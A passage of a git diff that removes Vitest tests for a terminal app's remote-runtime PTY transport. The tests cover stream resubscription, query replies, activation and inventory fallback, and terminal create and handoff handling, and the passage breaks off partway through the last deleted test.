-      // Each revive re-derives the handle; it must not leave extra live stream subscriptions behind.
-      expect(subscribeFrameCount()).toBe(subscribesAtFirstLatch)
-
-      transport.destroy?.()
-      await vi.advanceTimersByTimeAsync(1_000)
-      expect(await registries()).toEqual({ subscribers: 0, scheduled: 0 })
-      expect(vi.getTimerCount()).toBe(0)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('does not stack anything when host snapshots arrive repeatedly at a latched pane', async () => {
-    vi.useFakeTimers()
-    try {
-      const handleEvents =
-        await import('../../../../runtime/web-session-tabs-sync/terminal-handles/web-session-terminal-handle-events')
-      const transport = await attachStalePane(0)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      const baseline = await registries()
-
-      const subscribesAtLatch = subscribeFrameCount()
-
-      for (let cycle = 0; cycle < 50; cycle += 1) {
-        handleEvents.queueAcceptedWebSessionTerminalSnapshot(
-          hostSnapshot(10 + cycle, `epoch-${cycle}`),
-          'env-1'
-        )
-        await vi.advanceTimersByTimeAsync(100)
-      }
-
-      const after = await registries()
-      expect(after.subscribers).toBeLessThanOrEqual(baseline.subscribers)
-      expect(after.scheduled).toBeLessThanOrEqual(baseline.scheduled)
-      // Permit at most one same-handle subscribe per spent window, regardless of snapshot publication count.
-      expect(subscribeFrameCount() - subscribesAtLatch).toBeLessThanOrEqual(1)
-
-      transport.destroy?.()
-      await vi.advanceTimersByTimeAsync(1_000)
-      expect(await registries()).toEqual({ subscribers: 0, scheduled: 0 })
-      expect(vi.getTimerCount()).toBe(0)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-query-reply-immediate.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-query-reply-immediate.test.ts
index 82ff1dbe380..27f34775fcf 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-query-reply-immediate.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-query-reply-immediate.test.ts
@@ -97,34 +97,6 @@ describe('remote transport sendInputImmediate (#7329)', () => {
     }
   })
 
-  it('sends an immediate reply even with no pending typed input', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-1',
-        cols: 80,
-        rows: 24,
-        callbacks: {}
-      })
-      await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalled())
-
-      expect(transport.sendInputImmediate('\x1b[3;1R')).toBe(true)
-      await Promise.resolve()
-
-      const sends = terminalSendCalls() as { params: { text: string } }[]
-      expect(sends).toHaveLength(1)
-      expect(sends[0]?.params.text).toBe('\x1b[3;1R')
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('does not reorder a query reply ahead of a large paste still in async validation', async () => {
     // Large pastes may still be in async validation, outside pending; replies cannot overtake that hidden prefix (#7736).
     const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts
index 98987381a82..cf5ba532752 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts
@@ -1,15 +1,11 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import {
   TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
   decodeTerminalStreamJson,
   encodeTerminalStreamJson,
   encodeTerminalStreamText
 } from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import {
-  createRemoteRuntimeTransportMocks,
-  readyHostSessionInventoryResponse
-} from '../remote/remote-runtime-pty-transport-test-harness'
+import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
 import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
 
 const appStore = vi.hoisted(() => ({
@@ -31,7 +27,6 @@ const {
   runtimeCall,
   subscriptionSendBinary,
   latestSubscribePayload,
-  subscribedTerminalHandles,
   emitSnapshot,
   latestFrameForOpcode,
   emitSnapshotFrame,
@@ -52,190 +47,6 @@ describe('createRemoteRuntimePtyTransport', () => {
     resetRemoteRuntimeTransport()
   })
 
-  it('falls back to inventory when activation fails for a non-missing reason', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const onPtyExit = vi.fn()
-      const onPtyRebind = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-tab-1',
-        leafId: 'pane:1',
-        onPtyExit,
-        onPtyRebind
-      })
-
-      resolvedPaneHandle = 'terminal-before-restart'
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-before-restart',
-        callbacks: { onError }
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      runtimeCall.mockClear()
-
-      const replacementSnapshot = {
-        worktree: 'wt-1',
-        publicationEpoch: 'epoch-2',
-        snapshotVersion: 2,
-        activeGroupId: null,
-        activeTabId: 'tab-1::pane:1',
-        activeTabType: 'terminal',
-        tabs: [
-          {
-            type: 'terminal',
-            id: 'tab-1::pane:1',
-            parentTabId: 'tab-1',
-            leafId: 'pane:1',
-            title: 'Terminal',
-            isActive: true,
-            status: 'ready',
-            terminal: 'terminal-after-restart'
-          }
-        ]
-      }
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method === 'session.tabs.activate') {
-          // Why: an older host has no activation method at all, which is not evidence the surface is gone.
-          return { ok: false, error: { code: 'method_not_found', message: 'Unknown method' } }
-        }
-        if (args.method === 'session.tabs.list') {
-          return { ok: true, result: replacementSnapshot }
-        }
-        return { ok: true, result: {} }
-      })
-
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: {
-          type: 'error',
-          streamId: latestSubscribePayload().streamId,
-          message: 'terminal_handle_stale'
-        }
-      })
-      await vi.advanceTimersByTimeAsync(1_000)
-
-      expect(
-        runtimeCall.mock.calls
-          .map(([args]) => args.method)
-          .filter((method) => method === 'session.tabs.activate' || method === 'session.tabs.list')
-      ).toEqual(['session.tabs.activate', 'session.tabs.list'])
-      await vi.waitFor(() =>
-        expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-after-restart' })
-      )
-      expect(onPtyRebind).toHaveBeenCalledWith(
-        'remote:env-1@@terminal-after-restart',
-        'remote:env-1@@terminal-before-restart'
-      )
-      expect(onPtyExit).not.toHaveBeenCalled()
-      expect(onError).not.toHaveBeenCalled()
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('retries activation when inventory disproves a transient missing-surface response', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const onPtyExit = vi.fn()
-      const onPtyRebind = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-tab-1',
-        leafId: 'pane:1',
-        onPtyExit,
-        onPtyRebind
-      })
-
-      resolvedPaneHandle = 'terminal-before-restart'
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-before-restart',
-        callbacks: { onError }
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      runtimeCall.mockClear()
-
-      let activateCalls = 0
-      const pendingSnapshot = {
-        worktree: 'wt-1',
-        publicationEpoch: 'epoch-2',
-        snapshotVersion: 2,
-        activeGroupId: null,
-        activeTabId: 'tab-1::pane:1',
-        activeTabType: 'terminal',
-        tabs: [
-          {
-            type: 'terminal',
-            id: 'tab-1::pane:1',
-            parentTabId: 'tab-1',
-            leafId: 'pane:1',
-            title: 'Terminal',
-            isActive: true,
-            status: 'pending-handle',
-            terminal: null
-          }
-        ]
-      }
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method === 'session.tabs.activate') {
-          activateCalls += 1
-          if (activateCalls === 1) {
-            return { ok: false, error: { code: 'runtime_error', message: 'tab_not_found' } }
-          }
-          return {
-            ok: true,
-            result: {
-              ...pendingSnapshot,
-              snapshotVersion: 3,
-              tabs: [
-                {
-                  ...pendingSnapshot.tabs[0],
-                  status: 'ready',
-                  terminal: 'terminal-after-restart'
-                }
-              ]
-            }
-          }
-        }
-        if (args.method === 'session.tabs.list') {
-          return { ok: true, result: pendingSnapshot }
-        }
-        return { ok: true, result: {} }
-      })
-
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: {
-          type: 'error',
-          streamId: latestSubscribePayload().streamId,
-          message: 'terminal_handle_stale'
-        }
-      })
-      await vi.advanceTimersByTimeAsync(2_000)
-
-      expect(
-        runtimeCall.mock.calls
-          .map(([args]) => args.method)
-          .filter((method) => method === 'session.tabs.activate' || method === 'session.tabs.list')
-      ).toEqual(['session.tabs.activate', 'session.tabs.list', 'session.tabs.activate'])
-      await vi.waitFor(() =>
-        expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-after-restart' })
-      )
-      expect(onPtyRebind).toHaveBeenCalledWith(
-        'remote:env-1@@terminal-after-restart',
-        'remote:env-1@@terminal-before-restart'
-      )
-      expect(onPtyExit).not.toHaveBeenCalled()
-      expect(onError).not.toHaveBeenCalled()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('keeps a mounted HUB mirror alive when the old stream ends before the replacement snapshot', async () => {
     const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
     const handleEvents =
@@ -353,73 +164,4 @@ describe('createRemoteRuntimePtyTransport', () => {
       rows: 30
     })
   })
-
-  it('retries inventory and reattaches the same HUB handle after a stream ends', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onPtyExit = vi.fn()
-      const onPtyRebind = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('hub-env', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1',
-        onPtyExit,
-        onPtyRebind
-      })
-
-      resolvedPaneHandle = 'terminal-stable'
-      transport.attach({
-        existingPtyId: 'remote:hub-env@@terminal-stable',
-        cols: 100,
-        rows: 30,
-        callbacks: {}
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      const oldStreamId = latestSubscribePayload().streamId
-      emitSnapshot(oldStreamId, 'before stream end')
-      expect(transport.isConnected()).toBe(true)
-
-      let inventoryAvailable = false
-      let hostListCalls = 0
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method !== 'session.tabs.list') {
-          return { ok: true, result: {} }
-        }
-        hostListCalls += 1
-        if (!inventoryAvailable) {
-          throw new Error('runtime reconnect in progress')
-        }
-        return readyHostSessionInventoryResponse('terminal-stable')
-      })
-
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: { type: 'end', streamId: oldStreamId, code: 0 }
-      })
-      await vi.advanceTimersByTimeAsync(16_000)
-
-      const subscribeCount = (): number =>
-        subscriptionSendBinary.mock.calls
-          .map((call) => decodeTerminalStreamFrame(call[0]))
-          .filter((frame) => frame?.opcode === TerminalStreamOpcode.Subscribe).length
-      expect(subscribeCount()).toBe(1)
-      expect(hostListCalls).toBeGreaterThan(1)
-      expect(hostListCalls).toBeLessThan(25)
-      inventoryAvailable = true
-      await vi.advanceTimersByTimeAsync(16_000)
-
-      expect(hostListCalls).toBeLessThan(40)
-      expect(subscribedTerminalHandles()).toEqual(['terminal-stable', 'terminal-stable'])
-      expect(onPtyRebind).not.toHaveBeenCalled()
-      expect(onPtyExit).not.toHaveBeenCalled()
-      expect(transport.getPtyId()).toBe('remote:hub-env@@terminal-stable')
-      expect(transport.isConnected()).toBe(false)
-
-      emitSnapshot(latestSubscribePayload().streamId, 'same handle reattached')
-      expect(transport.isConnected()).toBe(true)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts
deleted file mode 100644
index 3d35c8b32e7..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts
+++ /dev/null
@@ -1,556 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
-import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
-
-let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
-let resolvedPaneHandle = 'terminal-1'
-
-const {
-  runtimeCall,
-  refreshSessionTabsSnapshot,
-  resetRemoteRuntimeTransport,
-  latestSubscribePayload,
-  emitSnapshot,
-  inputFrameTexts
-} = createRemoteRuntimeTransportMocks({
-  getCallbacks: () => subscriptionCallbacks,
-  setCallbacks: (callbacks) => {
-    subscriptionCallbacks = callbacks
-  },
-  getResolvedPaneHandle: () => resolvedPaneHandle,
-  setResolvedPaneHandle: (handle) => {
-    resolvedPaneHandle = handle
-  }
-})
-
-describe('createRemoteRuntimePtyTransport', () => {
-  it.each([
-    { supported: true, resume: false },
-    { supported: true, resume: true },
-    { supported: false, resume: false },
-    { supported: false, resume: true }
-  ])(
-    'gates keyboard fields for host support $supported, resume $resume',
-    async ({ supported, resume }) => {
-      runtimeCall.mockImplementation(async (args: { method?: string }) =>
-        args.method === 'status.get'
-          ? {
-              ok: true,
-              result: {
-                runtimeProtocolVersion: 3,
-                minCompatibleRuntimeClientVersion: 2,
-                capabilities: [
-                  'agent-session.host-authority.v1',
-                  ...(supported ? ['agent-session.keyboard.v1'] : [])
-                ]
-              }
-            }
-          : { ok: true, result: { terminal: { handle: 'terminal-1' } } }
-      )
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1',
-        launchAgent: 'codex',
-        terminalKittyKeyboardProtocol: true,
-        ...(resume
-          ? { resumeProviderSession: { key: 'session_id' as const, id: 'session-1' } }
-          : {})
-      })
-      await transport.connect({ url: '', callbacks: {} })
-      const method = resume ? 'terminal.ensureAgentSession' : 'terminal.createAgentSession'
-      const call = runtimeCall.mock.calls.find(([args]) => args.method === method)?.[0]
-      expect(call).toBeDefined()
-      if (supported) {
-        expect(call?.params).toHaveProperty('terminalKittyKeyboardProtocol', true)
-      } else {
-        expect(call?.params).not.toHaveProperty('terminalKittyKeyboardProtocol')
-      }
-      transport.destroy?.()
-    }
-  )
-
-  beforeEach(async () => {
-    resetRemoteRuntimeTransport()
-    // Charge the cold module transform to setup, not the launch deadline.
-    await import('./remote-runtime-pty-transport')
-  })
-
-  it('closes a remote terminal created after the pane was destroyed', async () => {
-    let resolveCreate: (value: unknown) => void = () => {}
-    runtimeCall.mockImplementation((args) => {
-      if (args.method === 'terminal.create') {
-        return new Promise((resolve) => {
-          resolveCreate = resolve
-        })
-      }
-      return Promise.resolve({ ok: true, result: {} })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    const connect = transport.connect({ url: '', callbacks: {} })
-    transport.destroy?.()
-    resolveCreate({ ok: true, result: { terminal: { handle: 'terminal-late' } } })
-    await connect
-
-    expect(runtimeCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'terminal.close',
-      params: { terminal: 'terminal-late' },
-      timeoutMs: 15_000
-    })
-  })
-
-  it('cannot let a stale create completion replace a newer attached terminal', async () => {
-    let resolveCreate: (value: unknown) => void = () => {}
-    runtimeCall.mockImplementation((args) => {
-      if (args.method === 'terminal.create') {
-        return new Promise((resolve) => {
-          resolveCreate = resolve
-        })
-      }
-      return Promise.resolve({ ok: true, result: {} })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onPtySpawn = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      onPtySpawn
-    })
-
-    const connect = transport.connect({ url: '', callbacks: {} })
-    transport.attach({ existingPtyId: 'remote:env-2@@terminal-attached', callbacks: {} })
-    resolveCreate({ ok: true, result: { terminal: { handle: 'terminal-late' } } })
-    await connect
-
-    expect(transport.getPtyId()).toBe('remote:env-1@@terminal-attached')
-    expect(onPtySpawn).not.toHaveBeenCalled()
-    expect(runtimeCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'terminal.close',
-      params: { terminal: 'terminal-late' },
-      timeoutMs: 15_000
-    })
-    transport.destroy?.()
-  })
-
-  it('does not close a live owner adopted after provisional pane handoff', async () => {
-    let resolveEnsure: (value: unknown) => void = () => {}
-    runtimeCall.mockImplementation((args) => {
-      if (args.method === 'status.get') {
-        return Promise.resolve({
-          ok: true,
-          result: {
-            runtimeProtocolVersion: 3,
-            minCompatibleRuntimeClientVersion: 2,
-            capabilities: ['agent-session.host-authority.v1']
-          }
-        })
-      }
-      if (args.method === 'terminal.ensureAgentSession') {
-        return new Promise((resolve) => {
-          resolveEnsure = resolve
-        })
-      }
-      return Promise.resolve({ ok: true, result: {} })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1',
-      launchAgent: 'codex',
-      resumeProviderSession: { key: 'session_id', id: 'live-session' }
-    })
-
-    const connect = transport.connect({ url: '', callbacks: {} })
-    await vi.waitFor(() =>
-      expect(runtimeCall).toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'terminal.ensureAgentSession' })
-      )
-    )
-    transport.destroy?.()
-    resolveEnsure({
-      ok: true,
-      result: {
-        disposition: 'adopted',
-        terminal: { handle: 'terminal-live', worktreeId: 'wt-1', title: null }
-      }
-    })
-    await connect
-
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.close' })
-    )
-  })
-
-  it('does not close a structured create after provisional pane handoff', async () => {
-    let resolveCreate: (value: unknown) => void = () => {}
-    runtimeCall.mockImplementation((args) => {
-      if (args.method === 'status.get') {
-        return Promise.resolve({
-          ok: true,
-          result: {
-            runtimeProtocolVersion: 3,
-            minCompatibleRuntimeClientVersion: 2,
-            capabilities: ['agent-session.host-authority.v1']
-          }
-        })
-      }
-      if (args.method === 'terminal.createAgentSession') {
-        return new Promise((resolve) => {
-          resolveCreate = resolve
-        })
-      }
-      return Promise.resolve({ ok: true, result: {} })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'provisional-tab',
-      leafId: 'provisional-leaf',
-      launchAgent: 'codex'
-    })
-
-    const connect = transport.connect({ url: '', callbacks: {} })
-    await vi.waitFor(() =>
-      expect(runtimeCall).toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'terminal.createAgentSession' })
-      )
-    )
-    transport.destroy?.()
-    resolveCreate({
-      ok: true,
-      result: {
-        disposition: 'created',
-        terminal: {
-          handle: 'terminal-live',
-          tabId: 'canonical-host-tab',
-          leafId: 'canonical-host-leaf'
-        }
-      }
-    })
-    await connect
-
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.close' })
-    )
-  })
-
-  it('passes activation intent when creating the remote runtime terminal', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1',
-      activate: true
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'env-1',
-        method: 'terminal.create',
-        params: expect.objectContaining({
-          tabId: 'tab-1',
-          leafId: 'pane:1',
-          focus: false,
-          presentation: 'background',
-          activate: true
-        })
-      })
-    )
-  })
-
-  it('scopes ephemeral setup terminals to the floating-terminal selector (#6789)', async () => {
-    const { brandEphemeralSetupTerminalWorktreeId } =
-      await import('../../../../../../shared/ephemeral-setup-terminal-worktree-id')
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: brandEphemeralSetupTerminalWorktreeId(
-        'feature-wall-orchestration-skill-terminal'
-      ),
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'env-1',
-        method: 'terminal.create',
-        params: expect.objectContaining({
-          worktree: 'id:global-floating-terminal'
-        })
-      })
-    )
-  })
-
-  it('passes startup command delivery when creating the remote runtime terminal', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1',
-      command: "codex 'linked issue context'",
-      envToDelete: ['CODEX_HOME', 'ORCA_CODEX_HOME'],
-      startupCommandDelivery: 'shell-ready',
-      terminalKittyKeyboardProtocol: true,
-      terminalColorQueryReplies: { foreground: '#ffffff', background: '#282c34' }
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'env-1',
-        method: 'terminal.create',
-        params: expect.objectContaining({
-          command: "codex 'linked issue context'",
-          envToDelete: ['CODEX_HOME', 'ORCA_CODEX_HOME'],
-          startupCommandDelivery: 'shell-ready',
-          terminalKittyKeyboardProtocol: true,
-          terminalColorQueryReplies: { foreground: '#ffffff', background: '#282c34' }
-        })
-      })
-    )
-  })
-
-  it('uses connect-time agent identity while the remote host builds the launch', async () => {
-    runtimeCall.mockImplementation(async (args: { method?: string }) =>
-      args.method === 'status.get'
-        ? {
-            ok: true,
-            result: {
-              runtimeProtocolVersion: 3,
-              minCompatibleRuntimeClientVersion: 2,
-              capabilities: ['agent-session.host-authority.v1', 'agent-session.omp-resume-path.v1']
-            }
-          }
-        : { ok: true, result: { terminal: { handle: 'terminal-1' } } }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1',
-      command: "codex 'old'",
-      launchConfig: { agentArgs: '--old', agentEnv: {} },
-      agentArgsOverride: '--profile captured',
-      launchToken: 'old-token',
-      launchAgent: 'codex'
-    })
-
-    await transport.connect({
-      url: '',
-      command: "codex '--model' 'gpt-5' 'resume' 'session-1'",
-      env: { CODEX_PROFILE: 'captured', ORCA_AGENT_LAUNCH_TOKEN: 'fresh-token' },
-      launchConfig: {
-        agentArgs: '--model gpt-5',
-        agentEnv: { CODEX_PROFILE: 'captured' },
-        ompResumeFilePath: '/custom/omp/project/session.jsonl'
-      },
-      launchToken: 'fresh-token',
-      launchAgent: 'omp',
-      resumeProviderSession: {
-        key: 'session_id',
-        id: 'session-1'
-      },
-      callbacks: {}
-    })
-
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'env-1',
-        method: 'terminal.ensureAgentSession',
-        params: expect.objectContaining({
-          kind: 'explicit',
-          worktree: 'id:wt-1',
-          agent: 'omp',
-          providerSession: {
-            key: 'session_id',
-            id: 'session-1'
-          },
-          ompResumeFilePath: '/custom/omp/project/session.jsonl',
-          agentArgs: '--profile captured',
-          placement: { tabId: 'tab-1', leafId: 'pane:1' },
-          presentation: 'background'
-        })
-      })
-    )
-  })
-
-  it('records the exact provisional handoff and refreshes a snapshot that arrived early', async () => {
-    runtimeCall.mockImplementation(async (args: { method?: string }) =>
-      args.method === 'status.get'
-        ? {
-            ok: true,
-            result: {
-              runtimeProtocolVersion: 3,
-              minCompatibleRuntimeClientVersion: 2,
-              capabilities: ['agent-session.host-authority.v1']
-            }
-          }
-        : {
-            ok: true,
-            result: {
-              disposition: 'created',
-              terminal: {
-                handle: 'terminal-1',
-                tabId: 'canonical-host-tab',
-                leafId: 'canonical-host-leaf'
-              }
-            }
-          }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const { resolveWebAgentSessionHandoff } =
-      await import('../../../../runtime/hosted-terminals/creation/agent-launch/web-agent-session-handoff')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'provisional-tab',
-      leafId: 'provisional-leaf',
-      launchAgent: 'codex'
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    expect(
-      resolveWebAgentSessionHandoff({
-        environmentId: 'env-1',
-        worktreeId: 'wt-1',
-        provisionalTabId: 'provisional-tab'
-      })
-    ).toBe('canonical-host-tab')
-    expect(refreshSessionTabsSnapshot).toHaveBeenCalledWith('env-1', 'wt-1', {
-      acceptCurrentSnapshot: true,
-      confirmAgentSessionHandoff: {
-        provisionalTabId: 'provisional-tab',
-        hostTabId: 'canonical-host-tab',
-        hostTerminalHandle: 'terminal-1'
-      }
-    })
-  })
-
-  it('preserves the connect-time legacy payload when host authority is unavailable', async () => {
-    runtimeCall.mockImplementation(async (args: { method?: string }) =>
-      args.method === 'status.get'
-        ? {
-            ok: true,
-            result: {
-              runtimeProtocolVersion: 3,
-              minCompatibleRuntimeClientVersion: 2,
-              capabilities: []
-            }
-          }
-        : { ok: true, result: { terminal: { handle: 'terminal-legacy' } } }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1',
-      command: "codex 'old'",
-      launchConfig: { agentArgs: '--old', agentEnv: {} },
-      launchToken: 'old-token',
-      launchAgent: 'codex'
-    })
-
-    await transport.connect({
-      url: '',
-      command: "codex '--model' 'gpt-5' 'resume' 'session-1'",
-      env: { CODEX_PROFILE: 'captured', ORCA_AGENT_LAUNCH_TOKEN: 'fresh-token' },
-      launchConfig: {
-        agentArgs: '--model gpt-5',
-        agentEnv: { CODEX_PROFILE: 'captured' }
-      },
-      launchToken: 'fresh-token',
-      launchAgent: 'codex',
-      callbacks: {}
-    })
-
-    expect(runtimeCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'terminal.create',
-      params: {
-        worktree: 'id:wt-1',
-        clientMutationId: expect.any(String),
-        command: "codex '--model' 'gpt-5' 'resume' 'session-1'",
-        env: { CODEX_PROFILE: 'captured', ORCA_AGENT_LAUNCH_TOKEN: 'fresh-token' },
-        launchConfig: {
-          agentArgs: '--model gpt-5',
-          agentEnv: { CODEX_PROFILE: 'captured' }
-        },
-        launchToken: 'fresh-token',
-        launchAgent: 'codex',
-        tabId: 'tab-1',
-        leafId: 'pane:1',
-        focus: false,
-        presentation: 'background'
-      },
-      timeoutMs: 15_000
-    })
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.createAgentSession' })
-    )
-  })
-  it.each(['existing', 'fresh', 'legacy'] as const)(
-    'uses subscription image for an existing intermediate-host owner and keeps fresh cold data (%s)',
-    async (kind) => {
-      const coldRestore = { scrollback: 'old checkpoint A', cwd: '/workspace' }
-      runtimeCall.mockImplementation(async (args: { method: string }) => ({
-        ok: true,
-        result:
-          args.method === 'terminal.create'
-            ? {
-                terminal: {
-                  handle: 'terminal-1',
-                  ...(kind === 'existing' ? { isReattach: true, incarnationId: 'i1' } : {}),
-                  ...(kind !== 'legacy' ? { coldRestore } : {})
-                }
-              }
-            : {}
-      }))
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-      const onReplayData = vi.fn()
-      const onConnect = vi.fn()
-      const result = await transport.connect({ url: '', callbacks: { onReplayData, onConnect } })
-      try {
-        if (!result || typeof result === 'string') {
-          throw new Error('Expected a terminal connection result')
-        }
-        expect(runtimeCall).toHaveBeenCalledWith(
-          expect.objectContaining({ method: 'terminal.create' })
-        )
-        expect(result?.coldRestore).toEqual(kind === 'fresh' ? coldRestore : undefined)
-        expect(result?.isReattach).toBe(kind === 'existing' ? true : undefined)
-        expect(result?.replay).toBe('')
-        const { streamId } = latestSubscribePayload()
